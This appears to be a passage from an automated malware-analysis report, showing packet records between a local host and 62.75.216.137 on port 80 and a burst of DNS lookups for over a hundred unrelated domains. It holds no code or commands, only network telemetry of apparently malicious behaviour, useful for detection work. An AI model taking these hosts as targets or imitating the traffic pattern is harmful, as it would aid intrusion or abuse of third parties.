Mar 10, 2023 07:55:17.456636906 CET	80	49995	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:17.456693888 CET	80	49995	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:17.456701040 CET	49995	80	192.168.2.6	62.75.216.137
Mar 10, 2023 07:55:17.456764936 CET	49995	80	192.168.2.6	62.75.216.137
Mar 10, 2023 07:55:17.456823111 CET	80	49995	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:17.456876040 CET	49995	80	192.168.2.6	62.75.216.137
Mar 10, 2023 07:55:17.456927061 CET	80	49995	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:17.457010984 CET	49995	80	192.168.2.6	62.75.216.137
Mar 10, 2023 07:55:17.457030058 CET	80	49995	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:17.457252026 CET	49995	80	192.168.2.6	62.75.216.137
Mar 10, 2023 07:55:17.457268953 CET	80	49995	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:17.457314014 CET	49995	80	192.168.2.6	62.75.216.137
Mar 10, 2023 07:55:17.457318068 CET	80	49995	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:17.457370043 CET	49995	80	192.168.2.6	62.75.216.137
Mar 10, 2023 07:55:17.457420111 CET	80	49995	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:17.457472086 CET	49995	80	192.168.2.6	62.75.216.137
Mar 10, 2023 07:55:17.457572937 CET	80	49995	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:17.457660913 CET	80	49995	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:17.457736969 CET	49995	80	192.168.2.6	62.75.216.137
Mar 10, 2023 07:55:17.457761049 CET	80	49995	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:17.457840919 CET	49995	80	192.168.2.6	62.75.216.137
Mar 10, 2023 07:55:17.457904100 CET	80	49995	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:17.457952023 CET	80	49995	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:17.457956076 CET	49995	80	192.168.2.6	62.75.216.137
Mar 10, 2023 07:55:17.457987070 CET	80	49995	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:17.457993031 CET	49995	80	192.168.2.6	62.75.216.137
Mar 10, 2023 07:55:17.458108902 CET	49995	80	192.168.2.6	62.75.216.137
Mar 10, 2023 07:55:17.458146095 CET	80	49995	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:17.458194017 CET	49995	80	192.168.2.6	62.75.216.137
Mar 10, 2023 07:55:17.458249092 CET	80	49995	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:17.458301067 CET	49995	80	192.168.2.6	62.75.216.137
Mar 10, 2023 07:55:17.458331108 CET	80	49995	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:17.458379030 CET	49995	80	192.168.2.6	62.75.216.137
Mar 10, 2023 07:55:17.458427906 CET	80	49995	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:17.458482027 CET	49995	80	192.168.2.6	62.75.216.137
Mar 10, 2023 07:55:17.458554029 CET	80	49995	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:17.458600998 CET	49995	80	192.168.2.6	62.75.216.137
Mar 10, 2023 07:55:17.458681107 CET	80	49995	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:17.458725929 CET	49995	80	192.168.2.6	62.75.216.137
Mar 10, 2023 07:55:17.458794117 CET	80	49995	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:17.458854914 CET	49995	80	192.168.2.6	62.75.216.137
Mar 10, 2023 07:55:17.458883047 CET	80	49995	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:17.458928108 CET	49995	80	192.168.2.6	62.75.216.137
Mar 10, 2023 07:55:17.458990097 CET	80	49995	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:17.459032059 CET	49995	80	192.168.2.6	62.75.216.137
Mar 10, 2023 07:55:17.459108114 CET	80	49995	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:17.459161043 CET	49995	80	192.168.2.6	62.75.216.137
Mar 10, 2023 07:55:17.459300041 CET	80	49995	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:17.459325075 CET	80	49995	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:17.459383965 CET	49995	80	192.168.2.6	62.75.216.137
Mar 10, 2023 07:55:17.459440947 CET	80	49995	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:17.459489107 CET	49995	80	192.168.2.6	62.75.216.137
Mar 10, 2023 07:55:17.459553003 CET	80	49995	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:17.459603071 CET	49995	80	192.168.2.6	62.75.216.137
Mar 10, 2023 07:55:17.459678888 CET	80	49995	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:17.459733963 CET	49995	80	192.168.2.6	62.75.216.137
Mar 10, 2023 07:55:17.459794044 CET	80	49995	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:17.459846020 CET	49995	80	192.168.2.6	62.75.216.137
Mar 10, 2023 07:55:17.459943056 CET	80	49995	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:17.459996939 CET	49995	80	192.168.2.6	62.75.216.137
Mar 10, 2023 07:55:17.460050106 CET	80	49995	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:17.460099936 CET	49995	80	192.168.2.6	62.75.216.137
Mar 10, 2023 07:55:17.460133076 CET	80	49995	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:17.460181952 CET	49995	80	192.168.2.6	62.75.216.137
Mar 10, 2023 07:55:17.460235119 CET	80	49995	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:17.460278034 CET	49995	80	192.168.2.6	62.75.216.137
Mar 10, 2023 07:55:17.460333109 CET	80	49995	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:17.460377932 CET	49995	80	192.168.2.6	62.75.216.137
Mar 10, 2023 07:55:17.460434914 CET	80	49995	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:17.460488081 CET	49995	80	192.168.2.6	62.75.216.137
Mar 10, 2023 07:55:17.460585117 CET	80	49995	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:17.460637093 CET	49995	80	192.168.2.6	62.75.216.137
Mar 10, 2023 07:55:17.460664988 CET	80	49995	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:17.460711956 CET	49995	80	192.168.2.6	62.75.216.137

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Mar 10, 2023 07:54:15.022608995 CET	192.168.2.6	8.8.8.8	0x6856	Standard query (0)	www.baijaku.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:15.027112961 CET	192.168.2.6	8.8.8.8	0xad0d	Standard query (0)	www.pr-park.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:15.030364037 CET	192.168.2.6	8.8.8.8	0x7445	Standard query (0)	www.dgmna.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:15.033534050 CET	192.168.2.6	8.8.8.8	0x94e1	Standard query (0)	www.jenco.co.uk	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:15.052817106 CET	192.168.2.6	8.8.8.8	0xe276	Standard query (0)	www.quadlock.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:15.057081938 CET	192.168.2.6	8.8.8.8	0xa0fe	Standard query (0)	www.wkhk.net	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:15.075726986 CET	192.168.2.6	8.8.8.8	0x2bec	Standard query (0)	www.olras.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:15.075865984 CET	192.168.2.6	8.8.8.8	0x2751	Standard query (0)	www.ftchat.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:15.076056004 CET	192.168.2.6	8.8.8.8	0x32bb	Standard query (0)	www.fnw.us	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:15.077662945 CET	192.168.2.6	8.8.8.8	0x7562	Standard query (0)	www.pdqhomes.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:15.573833942 CET	192.168.2.6	8.8.8.8	0xd069	Standard query (0)	www.mqs.com.br	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:15.575979948 CET	192.168.2.6	8.8.8.8	0x8cfe	Standard query (0)	www.rs-ag.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:15.577378988 CET	192.168.2.6	8.8.8.8	0xe42e	Standard query (0)	www.alteor.cl	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:15.975652933 CET	192.168.2.6	8.8.8.8	0xd4fd	Standard query (0)	www.valdal.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:16.101151943 CET	192.168.2.6	8.8.8.8	0x2d9d	Standard query (0)	www.item-pr.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:16.106944084 CET	192.168.2.6	8.8.8.8	0xb55c	Standard query (0)	www.credo.edu.pl	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:16.111129045 CET	192.168.2.6	8.8.8.8	0x12c1	Standard query (0)	www.depalo.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:16.133270025 CET	192.168.2.6	8.8.8.8	0x122a	Standard query (0)	www.vazir.se	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:16.872641087 CET	192.168.2.6	8.8.8.8	0x974b	Standard query (0)	www.elpro.si	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:17.024786949 CET	192.168.2.6	8.8.8.8	0x3c86	Standard query (0)	www.owsports.ca	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:17.024863958 CET	192.168.2.6	8.8.8.8	0xf1e5	Standard query (0)	www.nunomira.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:17.031112909 CET	192.168.2.6	8.8.8.8	0x6b18	Standard query (0)	www.petsfan.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:17.033587933 CET	192.168.2.6	8.8.8.8	0x1443	Standard query (0)	www.otena.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:17.076749086 CET	192.168.2.6	8.8.8.8	0x409	Standard query (0)	www.transsib.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:17.077090025 CET	192.168.2.6	8.8.8.8	0x3877	Standard query (0)	www.tvtools.fi	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:17.208302021 CET	192.168.2.6	8.8.8.8	0x20e1	Standard query (0)	www.abart.pl	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:18.103725910 CET	192.168.2.6	8.8.8.8	0xbfa7	Standard query (0)	www.iamdirt.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:18.357496977 CET	192.168.2.6	8.8.8.8	0xda20	Standard query (0)	www.naoi-a.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:18.446976900 CET	192.168.2.6	8.8.8.8	0x7356	Standard query (0)	www.nelipak.nl	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:18.452635050 CET	192.168.2.6	8.8.8.8	0x4b9a	Standard query (0)	www.t-tre.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:18.456965923 CET	192.168.2.6	8.8.8.8	0xe9f1	Standard query (0)	www.abdg.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:18.604890108 CET	192.168.2.6	8.8.8.8	0x965a	Standard query (0)	www.evcpa.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:18.604949951 CET	192.168.2.6	8.8.8.8	0x5c95	Standard query (0)	www.ora.ecnet.jp	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:18.605135918 CET	192.168.2.6	8.8.8.8	0x5da2	Standard query (0)	www.jroy.net	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:19.200113058 CET	192.168.2.6	8.8.8.8	0x20d6	Standard query (0)	www.wifi4all.nl	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:19.205144882 CET	192.168.2.6	8.8.8.8	0x50a1	Standard query (0)	www.hummer.hu	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:19.542300940 CET	192.168.2.6	8.8.8.8	0xb5ab	Standard query (0)	www.vexcom.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:19.546379089 CET	192.168.2.6	8.8.8.8	0x95d	Standard query (0)	www.synetik.net	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:19.548510075 CET	192.168.2.6	8.8.8.8	0xb849	Standard query (0)	www.cokocoko.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:19.556242943 CET	192.168.2.6	8.8.8.8	0x9d6d	Standard query (0)	www.edimart.hu	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:20.132097960 CET	192.168.2.6	8.8.8.8	0xa7c4	Standard query (0)	www.xaicom.es	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:20.150892973 CET	192.168.2.6	8.8.8.8	0x59	Standard query (0)	www.fcwcvt.org	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:20.587066889 CET	192.168.2.6	8.8.8.8	0xe8bb	Standard query (0)	www.waldi.pl	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:20.589772940 CET	192.168.2.6	8.8.8.8	0x5fa0	Standard query (0)	www.udesign.biz	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:20.590368986 CET	192.168.2.6	8.8.8.8	0xa89b	Standard query (0)	www.yocinc.org	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:20.590452909 CET	192.168.2.6	8.8.8.8	0xacc2	Standard query (0)	www.sjbs.org	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:20.866389990 CET	192.168.2.6	8.8.8.8	0x27ac	Standard query (0)	www.gpthink.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:20.872436047 CET	192.168.2.6	8.8.8.8	0x74ae	Standard query (0)	www.jacomfg.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:20.878757000 CET	192.168.2.6	8.8.8.8	0x5ab6	Standard query (0)	www.pcgrate.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:20.883879900 CET	192.168.2.6	8.8.8.8	0x26c	Standard query (0)	www.aevga.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:21.580868006 CET	192.168.2.6	8.8.8.8	0x8438	Standard query (0)	www.holleman.us	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:21.584635973 CET	192.168.2.6	8.8.8.8	0xfd36	Standard query (0)	www.snugpak.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:21.832700968 CET	192.168.2.6	8.8.8.8	0x1821	Standard query (0)	www.speelhal.net	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:21.834014893 CET	192.168.2.6	8.8.8.8	0xbc22	Standard query (0)	www.jchysk.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:21.870800972 CET	192.168.2.6	8.8.8.8	0xf227	Standard query (0)	www.maktraxx.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:21.893965960 CET	192.168.2.6	8.8.8.8	0x9a23	Standard query (0)	www.vitaindu.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:22.217742920 CET	192.168.2.6	8.8.8.8	0x6c75	Standard query (0)	www.stnic.co.uk	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:22.228301048 CET	192.168.2.6	8.8.8.8	0xcf8f	Standard query (0)	www.photo4b.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:22.235342026 CET	192.168.2.6	8.8.8.8	0x1aaa	Standard query (0)	www.findbc.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:23.136455059 CET	192.168.2.6	8.8.8.8	0x8438	Standard query (0)	www.holleman.us	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:27.935749054 CET	192.168.2.6	8.8.8.8	0xc55b	Standard query (0)	www.fink.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:28.070918083 CET	192.168.2.6	8.8.8.8	0x422a	Standard query (0)	www.cel-cpa.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:28.115653038 CET	192.168.2.6	8.8.8.8	0x2870	Standard query (0)	www.valselit.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:28.137887955 CET	192.168.2.6	8.8.8.8	0xa85	Standard query (0)	www.crcsi.org	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:28.138245106 CET	192.168.2.6	8.8.8.8	0x600	Standard query (0)	www.c9dd.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:28.140695095 CET	192.168.2.6	8.8.8.8	0x65ec	Standard query (0)	www.netcr.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:28.140908957 CET	192.168.2.6	8.8.8.8	0x7cbb	Standard query (0)	www.medisa.info	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:28.170423031 CET	192.168.2.6	8.8.8.8	0x7800	Standard query (0)	www.dayvo.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:28.481261969 CET	192.168.2.6	8.8.8.8	0x40b6	Standard query (0)	www.mobilnic.net	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:28.581778049 CET	192.168.2.6	8.8.8.8	0x7a81	Standard query (0)	www.domon.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:28.611996889 CET	192.168.2.6	8.8.8.8	0x7e33	Standard query (0)	www.2print.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:28.783719063 CET	192.168.2.6	8.8.8.8	0x7d66	Standard query (0)	www.stajum.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:29.666244030 CET	192.168.2.6	8.8.8.8	0x9a9a	Standard query (0)	www.fe-bauer.de	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:29.666917086 CET	192.168.2.6	8.8.8.8	0x653a	Standard query (0)	www.ora-ito.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:29.668508053 CET	192.168.2.6	8.8.8.8	0x40fa	Standard query (0)	www.nqks.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:29.669692039 CET	192.168.2.6	8.8.8.8	0x9eea	Standard query (0)	www.pwd.org	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:29.670388937 CET	192.168.2.6	8.8.8.8	0x3ff2	Standard query (0)	www.x0c.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:29.779501915 CET	192.168.2.6	8.8.8.8	0x8030	Standard query (0)	www.lrsuk.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:30.684806108 CET	192.168.2.6	8.8.8.8	0x75d4	Standard query (0)	www.yumgiskor.kz	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:30.861289024 CET	192.168.2.6	8.8.8.8	0x4f20	Standard query (0)	www.usadig.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:30.939687014 CET	192.168.2.6	8.8.8.8	0xd836	Standard query (0)	www.myropcb.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:30.946753025 CET	192.168.2.6	8.8.8.8	0x101e	Standard query (0)	www.koz1.net	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:30.958574057 CET	192.168.2.6	8.8.8.8	0xd7b0	Standard query (0)	www.pupi.cz	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:32.514404058 CET	192.168.2.6	8.8.8.8	0x43dd	Standard query (0)	www.yoruksut.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:33.063333988 CET	192.168.2.6	8.8.8.8	0x52b9	Standard query (0)	www.wnsavoy.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:35.643397093 CET	192.168.2.6	8.8.8.8	0x67f0	Standard query (0)	www.baijaku.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:35.645756006 CET	192.168.2.6	8.8.8.8	0xb019	Standard query (0)	www.fnw.us	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:35.655388117 CET	192.168.2.6	8.8.8.8	0xbbc9	Standard query (0)	www.olras.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:35.686045885 CET	192.168.2.6	8.8.8.8	0xe7ef	Standard query (0)	www.jenco.co.uk	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:35.691236019 CET	192.168.2.6	8.8.8.8	0xfd4f	Standard query (0)	www.pr-park.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:35.714828014 CET	192.168.2.6	8.8.8.8	0x366	Standard query (0)	www.ftchat.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:35.717236042 CET	192.168.2.6	8.8.8.8	0x1fc4	Standard query (0)	www.pdqhomes.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:35.722549915 CET	192.168.2.6	8.8.8.8	0xd702	Standard query (0)	www.quadlock.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:35.725997925 CET	192.168.2.6	8.8.8.8	0x2693	Standard query (0)	www.dgmna.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:35.731173992 CET	192.168.2.6	8.8.8.8	0xd41e	Standard query (0)	www.wkhk.net	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:36.239726067 CET	192.168.2.6	8.8.8.8	0xf959	Standard query (0)	www.mqs.com.br	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:36.284784079 CET	192.168.2.6	8.8.8.8	0x203e	Standard query (0)	www.rs-ag.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:36.289432049 CET	192.168.2.6	8.8.8.8	0x7bd1	Standard query (0)	www.alteor.cl	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:36.381125927 CET	192.168.2.6	8.8.8.8	0xf416	Standard query (0)	www.item-pr.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:36.406831026 CET	192.168.2.6	8.8.8.8	0x56af	Standard query (0)	www.valdal.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:36.667839050 CET	192.168.2.6	8.8.8.8	0xa623	Standard query (0)	www.medius.si	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:36.717858076 CET	192.168.2.6	8.8.8.8	0x534f	Standard query (0)	www.depalo.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:37.089390993 CET	192.168.2.6	8.8.8.8	0xefc2	Standard query (0)	www.ka-mo-me.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:37.435693979 CET	192.168.2.6	8.8.8.8	0x754	Standard query (0)	www.credo.edu.pl	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:37.437325001 CET	192.168.2.6	8.8.8.8	0x2078	Standard query (0)	www.vazir.se	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:37.520385981 CET	192.168.2.6	8.8.8.8	0xf7e8	Standard query (0)	www.nunomira.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:37.521410942 CET	192.168.2.6	8.8.8.8	0x867b	Standard query (0)	www.owsports.ca	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:37.523354053 CET	192.168.2.6	8.8.8.8	0xaa73	Standard query (0)	www.elpro.si	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:37.535753012 CET	192.168.2.6	8.8.8.8	0xf6d2	Standard query (0)	www.tvtools.fi	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:37.536154985 CET	192.168.2.6	8.8.8.8	0xb814	Standard query (0)	www.petsfan.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:37.537249088 CET	192.168.2.6	8.8.8.8	0xb3c3	Standard query (0)	www.otena.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:38.209804058 CET	192.168.2.6	8.8.8.8	0x16c7	Standard query (0)	www.abart.pl	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:38.276776075 CET	192.168.2.6	8.8.8.8	0x20e4	Standard query (0)	www.evcpa.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:38.352308035 CET	192.168.2.6	8.8.8.8	0xcbee	Standard query (0)	www.nelipak.nl	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:38.353849888 CET	192.168.2.6	8.8.8.8	0x6b88	Standard query (0)	www.transsib.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:38.375659943 CET	192.168.2.6	8.8.8.8	0x7a37	Standard query (0)	www.abdg.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:38.375991106 CET	192.168.2.6	8.8.8.8	0x34a4	Standard query (0)	www.iamdirt.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:38.873534918 CET	192.168.2.6	8.8.8.8	0x3036	Standard query (0)	www.com-sit.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:39.298120975 CET	192.168.2.6	8.8.8.8	0x3fd6	Standard query (0)	www.jroy.net	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:39.529352903 CET	192.168.2.6	8.8.8.8	0x38a1	Standard query (0)	www.ora.ecnet.jp	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:39.529352903 CET	192.168.2.6	8.8.8.8	0x8801	Standard query (0)	www.t-tre.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:39.561207056 CET	192.168.2.6	8.8.8.8	0x8469	Standard query (0)	www.xaicom.es	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:39.562917948 CET	192.168.2.6	8.8.8.8	0x5835	Standard query (0)	www.hummer.hu	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:39.646363974 CET	192.168.2.6	8.8.8.8	0xa6c7	Standard query (0)	www.naoi-a.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:39.650424004 CET	192.168.2.6	8.8.8.8	0x3ce7	Standard query (0)	www.synetik.net	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:39.650530100 CET	192.168.2.6	8.8.8.8	0xfe3c	Standard query (0)	www.vexcom.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:39.720172882 CET	192.168.2.6	8.8.8.8	0x2618	Standard query (0)	www.wifi4all.nl	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:39.720302105 CET	192.168.2.6	8.8.8.8	0x3785	Standard query (0)	www.edimart.hu	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:40.282409906 CET	192.168.2.6	8.8.8.8	0xd67f	Standard query (0)	www.aevga.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:40.288836002 CET	192.168.2.6	8.8.8.8	0x4482	Standard query (0)	www.sjbs.org	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:40.288925886 CET	192.168.2.6	8.8.8.8	0xd008	Standard query (0)	www.cokocoko.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:40.299140930 CET	192.168.2.6	8.8.8.8	0xeec4	Standard query (0)	www.fcwcvt.org	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:40.308269978 CET	192.168.2.6	8.8.8.8	0x8062	Standard query (0)	www.waldi.pl	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:40.650160074 CET	192.168.2.6	8.8.8.8	0x7d4	Standard query (0)	www.reglera.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:40.652592897 CET	192.168.2.6	8.8.8.8	0x62e6	Standard query (0)	www.pcgrate.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:40.793246984 CET	192.168.2.6	8.8.8.8	0xcf1c	Standard query (0)	www.holleman.us	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:41.528527975 CET	192.168.2.6	8.8.8.8	0x941a	Standard query (0)	www.stnic.co.uk	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:41.529534101 CET	192.168.2.6	8.8.8.8	0xda8b	Standard query (0)	www.snugpak.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:41.610492945 CET	192.168.2.6	8.8.8.8	0x21fe	Standard query (0)	www.udesign.biz	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:41.610533953 CET	192.168.2.6	8.8.8.8	0x63b0	Standard query (0)	www.gpthink.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:41.626566887 CET	192.168.2.6	8.8.8.8	0x9ba5	Standard query (0)	www.maktraxx.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:41.662336111 CET	192.168.2.6	8.8.8.8	0x9f25	Standard query (0)	www.speelhal.net	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:41.819132090 CET	192.168.2.6	8.8.8.8	0xcf1c	Standard query (0)	www.holleman.us	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:41.948035002 CET	192.168.2.6	8.8.8.8	0x437a	Standard query (0)	www.jacomfg.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:42.048820972 CET	192.168.2.6	8.8.8.8	0xf502	Standard query (0)	www.fink.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:42.048891068 CET	192.168.2.6	8.8.8.8	0xf14a	Standard query (0)	www.photo4b.com	A (IP address)	IN (0x0001)	false
